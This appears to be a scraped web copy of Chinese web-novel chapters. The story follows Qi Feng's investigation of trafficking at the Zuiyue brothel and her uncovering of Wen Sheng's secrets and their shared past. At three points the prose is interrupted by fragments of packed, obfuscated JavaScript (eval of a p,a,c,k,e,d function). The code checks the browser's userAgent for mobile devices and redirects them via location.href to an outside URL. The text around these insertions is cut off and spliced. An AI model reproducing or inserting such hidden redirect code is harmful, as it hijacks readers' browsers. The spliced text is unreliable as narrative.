“醉月楼的人。她们是被买走的,这里是交易点。” 醉月楼……又是醉月楼。 无论是与我结仇掳走我的嫌疑人,还是眼前被买走的少女,醉月楼的名字再度出现。光鲜亮丽的笙歌之地,真是藏了一屋子秘密啊。 我不禁发出冷笑,捂着剧痛无比的肚子,拉着男孩的手臂站起来。 男孩被我诡异的笑也吓楞了,慌张地想挣脱我的手。 我紧抓住他不放,偏头从容地看着他。 “你叫什么名字?” “陈烈。” 我轻笑一声,漫不经心继续说道。 “好,我叫齐风。明天,我还会来——带上药一起来。” “谢谢姑娘。” 男孩激动得眼睛里难得见到了光。他似乎想起什么,小声附在我耳畔。 “对了,姑娘。你明天来,不要告诉今天和你一起的那位……哥哥。” “为什么?” 男孩似乎很抗拒闻笙。 面对我的追问,他张了张嘴,酝酿许久也没再说些什么。 见他不愿说,我也不强求。 “好。不告诉他。” 挥别陈烈,接下来,就是去找诗诗对峙的时候了。 时间回到现在。 醉月楼,被诗诗拒绝会面后,我被醉月楼的打手撵出门外。 既然不见我,那我就等着你来见我。借口逃脱,诗诗在心中的嫌疑逐渐放大。 “千万别被我找到证据,不然——” 我活动着手指和肩颈,怒目圆睁地盯着诗诗房间的位置。 “我保证请你吃牢饭。” 入夜,醉月楼的热闹才刚刚开始。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078503|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >趁着人多杂乱,我混进楼内,躲在诗诗房门口的一根立柱后,紧盯那间紧闭的房门。里面的说笑声起伏不断,听着诗诗娇滴滴的谈笑声以及那些个官人恶心的声音,我几度想扭头走人。 听不下去。 待诗诗从房间内开门送客,我就抱着双臂从立柱后的阴影里走出来。 见我至此,诗诗也不打算再躲下去。送客后,领着到了醉月楼背后的远离前院热闹的后院。 “明明是你让我来见,我来了,你又拒之门外。诗诗姑娘莫不是——心怀鬼胎?” 诗诗拉着身上的长衫盖住自己露出的香肩,漫不经心地回答。 “我很忙的。齐风姑娘一闲散之人,体会不到我们这等红人一天过得有多辛苦。” 诗诗一字一句说得极为清楚,如同在向我说明什么。 对于这样阴阳怪气的讽刺,我压根不在意,用相同口吻的语气回了她。 “我当然不明白。我只知道,如果诗诗姑娘不趁现在坦白一切,后面的日子,只有去牢狱和这些长得跟肥猪似的达官贵人喝酒玩乐了。” “肥猪?齐风姑娘胆子不小啊。” “诗诗姑娘听错了吧。我说的是‘飞猪’,飞黄腾达的——猪。” 诗诗一改房内娇滴滴的笑声,本性暴露,猖狂大笑。 “不过,早就听闻姑娘毒舌善战,五年前在光州的英勇事迹,诗诗到现在都还听人说起。今日一见,确有几分独到。和平常女子果真不一般。齐风姑娘,该不会是……” 她故意拖长尾音,话说一半不说了。 “是什么?有屁一次性放完。” 本不想用粗鄙之语,但她欺人太甚骂我在先。以牙还牙,以其人之道还治其人之身,怎可让自己受委屈! “哼。不知好歹。懒得跟你白费口舌,快走吧,趁我还有心情,看在先生的面子上放你一马。” 见诗诗要走,我快步挡在她面前拦住唯一离开的出路。 “我可没打算放你走。” 诗诗不耐烦地啧了一声,抱着手瞪了我一眼。 我假装没看见,继续说道。 “昨晚找人暗算掳走我的人,是你指使的吧。醉月楼涉及贩卖人口,你也一定知情吧。数罪并罚,够你在牢里待完后半辈子了。” “后面一事人尽皆知,不是什么秘密。不过前者,我不知道你在说什么。” “装无知?既然诗诗姑娘不打算坦白,我只好找到证据,将你告上衙门,送你吃牢饭了。” 诗诗像是听到什么有趣的笑话,抬手抵在嘴边,讽刺地扫视我。 “凭你吗?” 我们之间只剩下晚风拂过纸灯笼发出的声音。 诗诗扬起下巴,笃定地望着我。像是断定了我无法完成这件事情,半边唇角勾起,嗤鼻一笑。 我轻挑眉头,内心对探究真想的欲望也变得前所未有的高涨。束缚已久的灵魂似乎时刻准备冲破躯壳,取代现在的我。 走回竹村的途中,头顶闻笙送我的步摇不知为何掉落在地上,恰好落进路中间的水洼。 星空下,步摇上的白梅闪烁着迷离的微光。 我蹲下身,在触碰到步摇后,脑海里浮现出了草棚下十几双失光的眼睛,以及昏迷时被带往另一个晦暗天地的少女。我拿着步摇,迟迟没有站起来。低垂着眉眼,说不清是悲伤还是自责。 该是无力吧。 这双眼睛明明看到了一切,却什么也没做,什么都做不成。 突然之间,握住步摇的手慢慢攥紧,慢慢发抖。 路的另一端传来脚步声,夜深人静时,脚叩响地面的声音格外清晰。 是闻笙。他提着灯笼来接我了。 他的表情是如此让人熟悉,与过去的某个画面重叠。我知道,那一定是过去相似场景的画面。 那年的我看到如此这般的闻笙站在远处,也是不争气地想掉眼泪吗。 我咽下喉咙间滚烫的情绪朝他走去,想开口叫他,但喉咙好似堵住一般干涩得难受,只能努力提起唇角扬起一点弧度。 能大概猜到这个表情有多别扭,眉头微蹙,嘴角却上扬,哭笑不得的样子。连闻笙的表情都变得茫然。 快走到他面前时,我用力揉搓面部,担心自己这幅样子引起他的担心,于是强装没事,假装刚才是在同他开玩笑,笑着眨了眨眼睛。 我将今天的故事稍作修饰,讲述给他听。 道完压在心口的大石,我抽了抽鼻子。 “闻笙,我现在好累啊……” 我向前一跌,撞进温暖的怀抱。熟悉的竹香涌入鼻腔,唤起一阵酸涩。 闻笙拍着我的背,给予我世间最温柔的安慰。 “辛苦了,在我怀里,可以不用勉强自己。” 所有的防线在顷刻间崩塌。我咬紧发抖的嘴唇,眼眶酸胀,视线被大颗的眼泪糊住。 我靠着闻笙的胸口,放纵自己肆意地哭。 静静地等我发泄完毕,头顶之人含着笑意问我。 “以前也发生过类似的事情,想听听你的故事吗?” 我抬头与他四目相对,他轻蹙眉拭去我眼角的泪水。 “以前的我遇到这等事,也是哭哭啼啼吗?” 闻笙牵住我的手,另一只手举着灯笼,领我踏着星辰回到过去。 “恰恰相反。” 星河浩渺,远山连绵。 数以万计的明星挂在天空,如一盏盏明灯,照亮回家的路。路旁树林组成的阴影被风吹动摇曳着,沙沙声衬托着道不明的寂寞。可又因为那些树影的衬托,曾经的故事在这片星空下更显暧昧。 16. 悬而未决 闻笙给我讲的故事,应该就是诗诗口中所说的五年前,关于我的英勇事迹。毒舌善战,名留青史的故事。 五年前,光州的春日暖阳洒在青石板路上,街市熙熙攘攘,人声鼎沸。我本是闲来无事,四处游历,却在茶馆中无意间听到了一桩令人心寒的事——一户人家的女儿被“拐卖”了。那女孩不过十二三岁,正是天真烂漫的年纪,却被人贩子生生从父母身边带走。茶馆里的人议论纷纷,有人说那女孩是被骗走的,也有人说她是被强行掳走的。无论真相如何,这件事像一根刺,深深扎进了我的心里。 我向来见不得这种不平事,尤其是对无辜孩童下手的人,更是让我怒火中烧。于是,我决定追查到底,找到那个带走女孩的凶手——一个名叫张氏棋的男人。据说,他专门从事贩卖妇女孩童的勾当,手段狡猾,行踪诡秘。 几经周折,我终于在一处偏僻的巷子里找到了张氏棋。他正与一个买家低声交谈,手中捏着一张卖身契,另一只手则接过一袋沉甸甸的银子。我躲在暗处,冷眼旁观,心中怒火翻涌,却强忍着没有立刻冲出去。我知道,单凭一张卖身契,还不足以将他绳之以法。于是,我决定尾随他,找到更多的证据。 张氏棋的家在一处偏僻的院落,院子里堆满了杂物,显得杂乱无章。我悄悄潜入屋内,发现角落里堆着几捆厚厚的纸张,随手翻开一看,竟全是卖身契!每一张纸上都写着一个孩子的名字,有的甚至是刚出生的婴儿。我的心猛地一沉,拳头不自觉地握紧。 正当我准备离开时,张氏棋突然出现在我身后,脸上挂着一抹似笑非笑的表情。 “这位姑娘,既然来了,何不进屋坐坐?”他语气轻松,仿佛我只是个误入他家的普通客人。 我冷笑一声,毫不客气地走到桌子边坐下,目光如刀般扫过他。 “张氏棋,你嘴上说着给流离失所的孤儿一个家,实际上这些孩子置身何处,只有你自己知道吧?” 他并不慌张,反而慢悠悠地从矮柜里取出一沓厚厚的纸,重重放在桌上,推到我面前。“一个孩子十两银子,姑娘若是想救他们,喏,卖身契在这儿。” 我猛地拍案而起,桌上的茶杯被震得跳了起来。“买卖人口还敢如此嚣张?!还有没有王法了!” 张氏棋依旧不慌不忙,甚至带着几分戏谑的笑意。“姑娘这话可冤枉我了。我也是替人办事,找买主罢了。再说了,本朝哪条律令写了不可贩卖奴隶的?溪口集市可是光明正大地卖奴隶,姑娘若真有侠义之心,不如去那儿行侠仗义,何必在这儿与我为难?” 我气得浑身发抖,指甲深深掐进掌心,却找不到反驳的话。他说得没错,本朝律法确实未曾明令禁止贩卖奴隶,溪口集市更是公开买卖人口的地方。可这并不能掩盖他所作所为的罪恶。 “真要管,去找皇帝修改律令啊。”张氏棋慢悠悠地将卖身契收回,语气中带着几分嘲讽。“姑娘这么大本事,肯定没问题。届时律令颁发,张某心甘情愿入牢狱。” 我咬紧牙关,心中愤懑难平,却也知道单凭一己之力,难以撼动这腐朽的世道。于是,我决定从女孩的家人入手,希望他们能站出来,与我一同将张氏棋告上公堂。 然而,当我找到那户人家时,迎接我的却是出乎意料的冷漠。 “齐姑娘,算了吧。”女孩的母亲泪眼婆娑,声音颤抖,却仍在劝我放弃。 “怎么能算了呢!那可是你们的女儿啊!难道你们就眼睁睁看着她被卖吗?”我难以置信地看着他们,心中既愤怒又失望。 “停!”女孩的父亲突然出声,打断了我的话。他挡在妻子面前,目光冷峻地看着我。“实话跟齐姑娘说吧,那孩子,是我们主动卖给张氏棋的。” 他的声音极轻,仿佛在说一件无关紧要的事,平淡得让人心寒。 “女娃长大留不住,我们也养不起,只好卖了。”他继续说道,语气中没有一丝愧疚。 我愣在原地,脑海中一片空白。片刻后,我猛地转身,指向站在不远处的一大一小两个男孩。“男孩儿就能养,女孩儿就不能?” 男人的目光随着我的手指转向那两个孩子,眉头紧锁。“男娃以后能做苦力,女娃不行……” “屁话!”我再也忍不住,冲上去一拳打在他的脸上。 闻笙一边说一边模仿我当时的动作和表情。 我笑也不是,尴尬也不是。 真难想象他说的人……居然是我。 “然后你意识到打人不对,又咽不下一口气,把人家推豆子的磨生生扳倒了才罢休。” 我惊讶地抬起头,有些茫然地对上闻笙的视线。 “石磨?!我这么强吗!” 闻笙笑着扶了扶我的头发。 “是磨一些小豆子的石磨,不大。你也只是把上扇的部分给取下来扔在了地上。若真是大的石磨,恐怕你还没取下来就被人架着撵出去了。” 听到这儿,我竟然松了口气。 我想继续听故事的后续,闻笙却说他不记得了。 我又问起张氏棋的事,他只说那个人后来平白无故从人间蒸发了。 院子里的凉风不再有初春的凉意,渐渐有了暖意。 书架上的书整齐地摆放着各类文学书籍,初到时摆满的书架现在腾空一排留给我放了些医术和制药的工具。 当晚,我挑灯夜战,翻遍了《千金要方》和柳砚清专门为我整理的《常见小病的治疗方法》,附常用药方。 光有书和药方远远不够,《千金要方》虽提及了以脏腑寒热虚实为中心的杂病辩治法,但并非所有人都出自同一病源。还有他们身上明显被殴打所致的伤,恐怕,事情比我想的复杂得多。济民区发生的,一定不止贩卖人口。 更让我在意的,还有院子里那口被封禁的井。 可恶,怎么不问问柳砚清是哪儿把我救出来的!白送一条线索。 闻笙心疼我学习辛苦,入睡前替我泡了一壶浓茶。 “注意身体,困了的话,就休息。” 替我添了件衣裳,加了盏烛台后,我强行叫闻笙先行休息。 我一面对照书上所著,一面将今天买的药材整理分装。这并不是我第一次根据药方抓药,但是是自己第一次独立完成。以往陪同柳砚清行医,为训练我草药方面的认知,写好药方后,柳砚清通通交与我。 没了柳砚清在身边,心头总是没底。感觉每一步都是错的,明明认得的草药,都保不准正确与否。 我太依赖柳砚清了…… 叹了口气,手肘撑在书案上,焦头烂额。 我轻手轻脚走到床边,黑暗中,窥见闻笙平静的睡脸。 大脑一片空白。 想不通从前的是我是个什么样的人,想不明白关于闻笙的一切。 他有太多的疑点,我既信任他,又抱有怀疑。 陈烈的反应就像是告诉我,他和闻笙认识,至少他认识闻笙,而且很膈应他。 如果那种情绪不是讨厌的话……一定是害怕。 陈烈害怕闻笙?为什么? 月光浅浅地照在屋内的地板上,随风起的树影摇晃。 突然,毫无征兆的,我莫名想起了闻笙和我说起关于发簪的事。他说,从前做发簪是迫不得已…… 闻笙不是苦读书考取功名的书生吗? 我还想着什么,床上的人突然动了,别过去脸转向我,但没有醒过来。 我站起来,替他放下帐幔。 桌面上的烛台微弱地燃烧着,我睁开还有强烈睡意的眼,看窗外已是清晨。 朝雾,炊烟,竹林。 手臂下压着的书变得褶皱,身上还搭了件披风,我四下张望,没有看到闻笙。 正想着起身找他,没想到房门被推开,闻笙端着热腾腾的饭菜走进来。 “是算准了吃饭时间醒过来吗?” 我身吸一口唤醒疲惫的美味,摸摸饥肠辘辘的肚子。 “嘿嘿,我的肚子说是的。” 我穿好外褂,收拾桌子,闻笙陆续从厨房端来菜肴。 都是我爱吃的菜,米饭也煮得恰到好处。 闻笙总能完美地做出我喜欢的东西,窗外的那片竹林也是。据说五年前我刚到竹村时,那里还是一片荒凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他还是不说话。 我不急,继续问。 “是醉月楼吗?” 他终于肯摇头回应。 竟然不是醉月楼,还是他又在骗我? “陈烈,你如果再不说实话,我说到做到,这些药,我打翻都可以。” “我说!” 他急切地抓住我的手臂。 “我说实话……姑娘问吧。” 我无奈叹了口气,拍了拍他的手背。 “我无心威胁你,但你要知道,此事很重要。关乎我,也关乎你们。那天晚上,我听到的求饶声哭喊声,是不是醉月楼到这儿来带人离开?” 他闭上眼,点了点头。 “那么,把我丢下井的人,是他们吗?” 这次回答居然是否定。 陈烈继续煽动炉子里的火。 “那晚抓姑娘来这儿的人,是别人,不是醉月楼。” “是谁?” 许久,他都沉默着。 低沉稚嫩的声音良久后缓缓吐出两个字。 夜幕下的光州,宛如被圣火笼罩的极乐之地。 越是光亮的地方,黑暗之处越是无人在意。 欢愉的背后,暗藏着道不清的秘密。 醉月楼前的河道上横跨的石桥,男子站在桥上遥遥注视着楼上的男男女女,月光照在他身上的竹纹,腰间的配饰不是常见的玉佩,而是从手链改造而成。 桥的另一端,一个矮小的身影走到男子身边,拱手行礼后缓缓启齿。 “大人交代的事,已经完成了。” 男子点点头。 “是按我说的告诉她的吗?” “是的。一字不差。” “她什么反应?” 矮小的身影顿了顿。 “她……笑了。” 17. 昨日落花 告别诗诗,我也离开了醉月楼。光州的夜色依旧繁华,灯火通明,街市上人来人往,喧嚣声不绝于耳。然而,此刻的我却感到前所未有的迷茫。光州那么大,一时之间,我竟不知该去往何处。 闻笙恐怕还不知道我猜到他醉月楼老板身份这一事。这个猜测的根据,是那天陈烈和我说的话。他说,抓走我的人不是醉月楼,而是别人。而后,他说了一个我从未听过的名字——璃坊。 那之后,我四处打听,终于在城南找到了这个叫璃坊的地方。璃坊是一间世代做金银玉器饰品的作坊,沿袭三代,至今也是街头巷尾女性常光顾的铺子。巧的是,这家老板姓闻。 闻姓在光州并不常见,随口打听,任谁都说“闻氏?外地人吧,光州以前可没有这个姓。” 据此情报,璃坊的闻老板和我恰好认识的闻先生,必定有关系。初访那天,璃坊的闻老板并不在,听坊里的人说,老板出去谈事情了。我心中虽有疑惑,却也只能暂时作罢。 转身离开时,坊里接待的人突然叫住我。 “姑娘留步!我见姑娘插着的步摇好生眼熟,可否询问姑娘这步摇是从何处得来?” 我取下头上的白梅步摇,递给他看。 “街上买的。” 本以为他会追问我更多的细节,没曾想他摆手解释:“姑娘别误会。只是这发簪是出自我们老板之手,平常大街是买不到的。以为姑娘是老板的贵人,便问问。多有冒犯,还请姑娘见谅。” 我低头看着手里的步摇,思绪一下子回到了彩灯节上。那日,闻笙将摊位上的步摇插入我的发间,并支付了费用。的的确确是当着我的面买的,璃坊的人怎么说平常大街买不到呢? 我偷偷观察着面前的人,他的神情认真,不像在说谎。心中的疑惑愈发浓烈,我忍不住开口问道:“你们老板……叫什么名字?家中,可有其他兄弟?” 我知道这样一股脑问出来不礼貌,但此刻的我已顾不得那么多。面前之人先是一愣,随后看了看我手里的步摇,似乎下了某种决心,低声答道:“我们老板叫闻筑,信州人。数年前举家搬迁至光州,在此地做生意。听闻,他还有个弟弟,也做生意,在城中开了间酒楼。生意那叫一个好嘞,只可惜,我一次都没去过……” 闻筑……闻笙……信州人……弟弟……酒楼…… 这些信息在我脑海中迅速串联起来,仿佛一道闪电划破夜空,瞬间照亮了所有的迷雾。我的心猛地一沉,手指不自觉地攥紧了手中的步摇,指尖微微发白。 原来如此。 胸口仿佛被一块巨石压住,呼吸变得困难。脑海中不断浮现出与闻笙相处的点点滴滴——他在竹村教书时的温文尔雅,他在彩灯节上为我戴上步摇时的温柔笑意,他在小院里与我共赏明月时的深情告白……这一切,难道都是假的吗?都是演给我看的戏码吗?如此大费周章,是为什么? “呵……”我忍不住冷笑出声,声音里带着几分自嘲和苦涩。 怎么搞的,明明该生气,我却忽然觉得他这么做是为了我。 真是无药可救。 神器消失,再没出现过的神像。满是谜团的闻笙,以及他赠与我的步摇。 如果神器变成发簪,是因为那是曾经闻笙赠与我的,是神像的提示。那这支白梅步摇的出现,又是因为什么? 神器消失,会不会是闻笙所为?他到底还瞒着我多少事。 光州回竹村的路上,夕阳暖暖,路的另一端,闻笙手臂上挂着我的披风,站在那头静静地等我。 他的眼神看向山巅的余晖,思绪飘远。 我看他入神,忽然不明白——五年前的我,是为什么和闻笙认识,从相知到相爱。 因为长得好看吗? 我悄悄走到他身边,趁他没发现前,站在他身后,指尖戳了戳他的腰。 他被吓得一激灵,惊慌地看向我。 我笑了,他也跟着我笑。 他替我穿上披风,牵起我的手。 “准备了你喜欢吃的。” “确实饿了。” “那今晚多吃一点。” 温柔书生,玉树临风,我略微垂下眼眸。 面对他的给予,我居然感到一丝害怕。 我害怕知道更多关于闻笙的秘密,怕挖掘出更多他的另一面。 或许……到了该离开的时候了。 晚饭后,和闻笙一起收拾完毕,我靠在厨房的木门上,注视着闻笙稍显幸福的背影。 我这才意识到闻笙对我的感情或许是真的,他所做的一切,也是出于这份他对我的执念。 这份执念之火,太过旺盛。 我敲了敲身旁的木板。闻笙听见了响动,回过头,一如既往地露出那抹柔和的笑。 “闻笙——” 我顿了顿,看着他的脸,难以启齿。 他擦着手上的水,朝我走来。 我深吸一口气——决定把离开的事告诉他。 “你要离开了?” 他的脸上出现疑问的神情,但很快,变成平淡。 “你又要走。” “咚——”的一声,我觉得身后的木门震动了一下。我有些怔愣地望着闻笙,一个完全不适合这人的表情骤然出现在他脸上。 闻笙皱着眉头,单手砸在我身后的木板门上,把我禁锢在他和门之间,居高临下地审视我。冰冷的目光没有一点温度,但很快又恢复了以往的温柔。 我抿了抿唇,试着打破眼下压抑的氛围,冲他笑了笑,学着他扶我的样子抚上他的侧脸。 “我需要去找回过去的自己。到那时,我就能记起和你的过去。难道你,不想我记起吗?” “我不希望你又离开我。” 闻笙的声音沙哑着从喉咙里挤出,暗沉的双眸让他好不容易恢复的柔又降下去。 不知为何,我总觉得眼前的画面似曾相识。他的目光里闪着诸多复杂的情绪,我能捕捉到其中的某些。 焦躁、不安、寂寞、疼惜。 我好像在曾经某个时间见过。 好像在……同现在一样的地点见到过。 “闻笙。” 我小声叫了他的名字,试探着握住他青色的衣袖,轻轻拉了拉。 “对不起。” 像是戳中了什么不该按下的旋钮,闻笙苦笑着埋下头,靠在我的颈窝处。沙哑的声音控诉着我,颤抖的双手狠狠抓住我的双臂。 “为什么说对不起?你从来不说对不起。你该学以前一样,让我等你回来啊……” 自尊心让他无法在我面前哭出来。一声叹息落入耳畔,湿热的气粘上我的侧颈。 “你该学以前一样,骗我,骗我说很快回来。结果让我苦苦等来的是——” 闻笙的手越发使劲,抓得我快要惊呼疼。 他比任何人都要理性冷静,偏偏在这件事上失了态。 我能真切地感受到他的怨气和怒气,任由他手上的力度加重,弄疼我也不反抗。 “对不起……” “不要说对不起!” 愤怒地低吼,吓得我身体一震,咬紧发抖的嘴唇,不敢作声。 闻笙意识到自己的失态,立马直起身来,捧起我的脸。 “抱歉……” 布满血丝的眼睛委屈的看着我,让人根本没法生气,反而越发自责。 他叹着气,额头抵上我的。 “我不喜欢……不对,我不太习惯你说对不起。抱歉。” “嗯……” “我不是舍不得过去的你,而是舍不得现在的你。比起过去,我更想留住现在的你。” 笼罩在闻笙头顶的乌云迟迟不肯散去。 或许只是我内心深处对他的恐惧蒙住我的双眼,以至于当他疯了一般朝我怒吼又安慰我时,我才明白这都是他的孤独。 欺骗也好,隐瞒也是,不过是他想留下我的办法罢了。 “风。” “你带我走吧。” 湿热的气息离我不过一个扬起下巴的距离。 我突然很想哭,又想笑。 是共鸣了闻笙的寂寞,所以想哭。想笑,嘲笑,笑自己无能。 我捧起闻笙挂满愁绪的脸,在他唇角轻轻一吻。 “最后一次吧。” 我褪下身上的衣裳紧紧拥住他。 “我不该成为将你困在这里的枷锁。” 在竹村的日子,我几乎每晚都和闻笙相拥而眠。 是种淡淡的香。好似清晨竹林雾气还未散去时,林深之处的气息。 我竟然怀疑过闻笙是知道我喜欢这个味道,所以找人特意调配的香。可在某日撞见他孤身站在竹林间仰头发愣,所有疑虑迎刃而解。 他在想什么?为什么表情看上去如此落寞? 闻笙的脸上总有一团阴云笼罩,只有和我单独在一起时,这团乌云才会识趣的走开一会儿。 许久没有睡得这般安稳。 闻笙也是。 我拂去他额头的汗珠,见他眉目舒展,拥紧我的双壁慢慢松懈。相处数十日,我还是第一次见他睡得安稳。 “闻此笙歌,忆故人……” 我描摹他的眉眼,想起醉月楼上,歌女夜夜唱响的那支曲子。 “袅袅秋风留不住,满阶竹叶暮。又是春意载,桃花开败,无人归。愁恨年年长相似,炊烟伴细雨。故人伴梦还,却不记当年事。闻此笙歌,忆故人。往事已成空,还如一梦中。” 那年,光州的春日细雨绵绵,空气中弥漫着泥土与青草的芬芳。闻笙漫步在城外的竹林小径上,心中五味杂陈。科举失利的阴影还未散去,兄长闻筑又忙于修建璃坊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下课后,孩子们陆续离开,学堂里渐渐安静下来。闻笙见姑娘还在“埋头苦读”,走到最后一排,轻轻敲了敲桌面。 “姑娘,该醒醒了。” 她缓缓抬起头,眼神还有些迷蒙。看到闻笙,她微微一愣,随即露出一抹淡淡的笑意。 “先生讲得太好,受益匪浅。” 闻笙被她的话逗笑了,摇了摇头。 “不知是姑娘昨夜没休息好,还是在下所教的内容索然无味……” “不是的!先生教得很好。只是……” 她站起身,羞涩地整理了一下衣裙,目光快速扫过桌上的书本。 “这首,学生不明白。” 搬进新屋那天,村民们纷纷送来贺礼。 不知是谁传出的消息,说教书的闻先生和新来的风姑娘已经拜过堂成了亲,就在村里的某个晚上。 闻笙平日里除了教书,也会帮村民一些大大小小的事。天大的喜事怎能不贺喜。 于是,趁着搬家的好时机,村民们提着五谷杂粮上门道喜。 闻笙不愿承情,本想拒绝,可一旁的“夫人”倒热情得很,招呼村民喝茶吃点心。 “有喜来,自然要接喜。”齐风整理着屋子里的贺礼说道,“就像神仙,不管什么日子,总有人在祈求。神仙能避而不听吗?当然不行。管是一回事,听是一回事,听了不管又是一回事。来都来了,且收下听一听,万一是喜事,岂不美哉?” 她总是有很多道理,让寒窗十年的闻笙自愧不如。 “行行行,还是你明事理。以后这家,就靠你了,夫人?” 刚才还讲着道理的姑娘,瞬间双颊涨红,嘴巴张开闭合,硬是一句话也说不出,哼了声修红着脸落荒而逃。 “风。” “嗯?” 闻笙站在齐风身侧,额前的碎发在眉眼处落下阴影,看不清他眸中的情绪。 他握住她的手,而后十指相扣。 月光洒向小院,竹林泛起微风沙沙作响。 闻笙细细地看着眼前的姑娘,虽然认识不过数月,可他的心意早已确认。 “闻笙?你……” 闻笙没有回答,低头吻了下来。 唇齿与呼吸交融,缱绻缠绵。闻笙抱起她,往屋内走去,直到手背和她的背部触碰到柔软之处,他的吻才稍稍离去。帷幕落下,夜色降临。 夜至深,闻笙将怀中的姑娘搂得更紧。 “风……” 听完后面的话,原本迷糊的姑娘瞬间清醒。 她离开了。 或许是觉得自己直接离开太过无情,离开的第二天,窗台上留了一封信。 署名:风。 她从不称呼自己为齐风,只在别人问起她的名字时,思索很久才想起。好像,那不是她真正的名字。 说是信,其实只有寥寥几个字。 她走以后的五年间,闻笙一直视若珍宝。 他开办了醉月楼,让临街台上的歌女夜夜唱着他为她写的歌。 日复一日,年复一年。 直到某天梦里,他再见到了她。 她不记得自己的名字,忘了那支发簪,忘了他们的一切。 罢了,他会有办法留下她。哪怕这个办法……很愚蠢。 18. 青山如昨 听闻信州城外数里的清溪山,福天洞地,紫烟升起便有神仙循烟而来。虽然不清楚是不是我要找的神,但我决定去碰碰运气。光州到信州的路程一路策马也要半月时间,路途遥远,但我心中已无半分犹豫。 离开竹村的早上,闻笙意外地冷静。相比起前一日的撕心裂肺,他像是一夜间看淡了离别,淡漠了情感。他如往常一般准备早餐,动作娴熟而自然,仿佛今日不过是个再寻常不过的日子。他站在我身后,轻轻为我梳发,指尖温柔地穿过我的发丝,仿佛在无声地诉说着什么。 我本考虑了诸多话,想再开导开导他,可眼下看来,这些话都派不上用场了。只是看着他憔悴的脸,心头一酸,在驿站前忍不住给了他一个悠长的拥抱。 “此一别,我们,还会再见吗?”他贴在我的耳畔,温热的呼吸带着沙哑的嗓音,像是压抑着某种情绪。 我摇了摇头,声音轻得几乎听不见:“还是不了吧。” 我说得绝情,但我没有办法。重生前做过的事,许下的承诺,我都忘得一干二净。且当我是个没心没肺的人吧,欠你的,注定无法偿还。 “济民区的那些人,放他们回醉月楼吧。那个地方守着茅房,挺臭的。”闻笙替我拿着行李,同我坐在驿站旁的面馆填饱肚子。听到我的话时,他有一瞬的怔愣,转眼笑着点了点头。 我吞下一口面,抬头问他:“陈烈,是哪家孩子?” “陈烈?”闻笙反问的语气好像真不知道我在说谁。 行吧,连名字都是骗我的。那孩子跟我说的话,到底哪句是真的? “如果你问的是那日在巷口碰见的,他是我侄子,闻烈。从小就花招多,思维也比别家孩子跳脱,管不住。平日在外人面前叫我叔叔,私下总是叫我大人。”闻笙的语气带着几分无奈,却又透着宠溺。 “所以他跟我说璃坊,其实是给我提供线索咯?”我挑眉问道。 闻笙捏着下巴思索片刻,摇了摇头:“他跟你说的璃坊?恐怕,不是在提供线索。” 我叼着面盯着闻笙呆住,心中一阵无语。闻笙笑着替我倒了杯茶,解释道:“我交代他的是可以跟你坦白幕后之人是我。那孩子从小粘我,偏袒我,跟你说璃坊估计是想不出别的法子,所以想把罪名扣到兄长的头上吧。” 我又好气又好笑,擦着嘴角的汤汁,喝下茶汤:“闻烈——前途无量啊。不用猜都晓得是跟某人学的。”我冲他打趣,他也不以为然。 片刻后,闻笙双手交叉放在桌上,心虚地动了动手指,然后伸进兜里摸出一样东西递给我。我惊愕地接过手里,不敢置信地看了看手里的神器,又看向对面不敢直视我的闻笙。 “你是什么时候……”我话未说完,闻笙已站起身,望向驿站那边准备启程的马车。他自然地拿起我的行李,牵起我的手,朝马车走去。 直到站定车前,他才转身面向我,神情复杂地望着我:“我其实对你隐瞒的事,比你知道的还要多。时间有限,没办法一一告诉你了。” 我蹙着眉,语气中带着几分怨怒:“现在才说,当然来不及了!” 我温柔地呵斥,他盯着我的眼睛,笑意浮现。他又得逞了。但这次,我不会留下来质问他。他也明白的。 他牵着我的手,轻轻揉了揉我的手背,意味深长的眸子落在我的手背良久:“我可以再回答你一个问题,知无不言。但你得答应我,以后,我们还会再见。” 我们还会再见吗……也许真的会吧。 思绪一下涌现出太多疑问,根本不知从何问起。我愣在原地犹豫了好一会儿,随后摇了摇头:“不问了。” 我抓过闻笙手中我的行李,踮起脚尖,环上他的脖颈抱住他:“我明白你所做的一切都是为了我,所以我不问。不过,看在你如此坦率的份上,我答应你。” 错在我先,我不想再伤害你。 最后,再送你一个无法兑现的承诺吧。谁叫你之前骗我来着。 闻笙沉默着回拥住我,声音低沉而沙哑:“是有人告诉我你下山的日子,让我从鹿镇跟着你。” 我没想到闻笙会说得如此直接,这件事他不提我都快忘了。迟疑了一秒,我才点头:“那个人,可以告诉我是谁吗?” 闻笙浅笑着摇了摇头:“我不记得了。是在梦里发生的,时间过去太久,我有些忘了。” 闻笙拍了拍我的后背,我松开他,转身准备上车。 “上车吧。”他轻声说道。 “嗯。”我点了点头,踏上马车,回头看了他一眼。他的身影在晨光中显得格外孤寂,眼中似有千言万语,却终究化作一声叹息。 马车缓缓启动,我坐在车内,心中五味杂陈。闻笙的身影渐渐远去,最终消失在视线中。我们都知道,这一别,或许就是永别。 一路不算颠簸,为了尽快赶达目的地,途径驿站除了稍作休整没有浪费多余的时间。 信州,清溪山,当地有名的神山。 我站在清溪山脚下,仰头望着蜿蜒而上的青石台阶。清晨的山雾还未散尽,将整座山笼罩在一片朦胧之中。我深吸一口气,空气中弥漫着淡淡的草木清香,还夹杂着一丝若有若无的檀香。 该说我赶巧了还是清溪山香火旺盛,这天同我一道上山的人特别多。 我可是牺牲了懒觉特地早起的!大家都不喜欢睡觉吗! 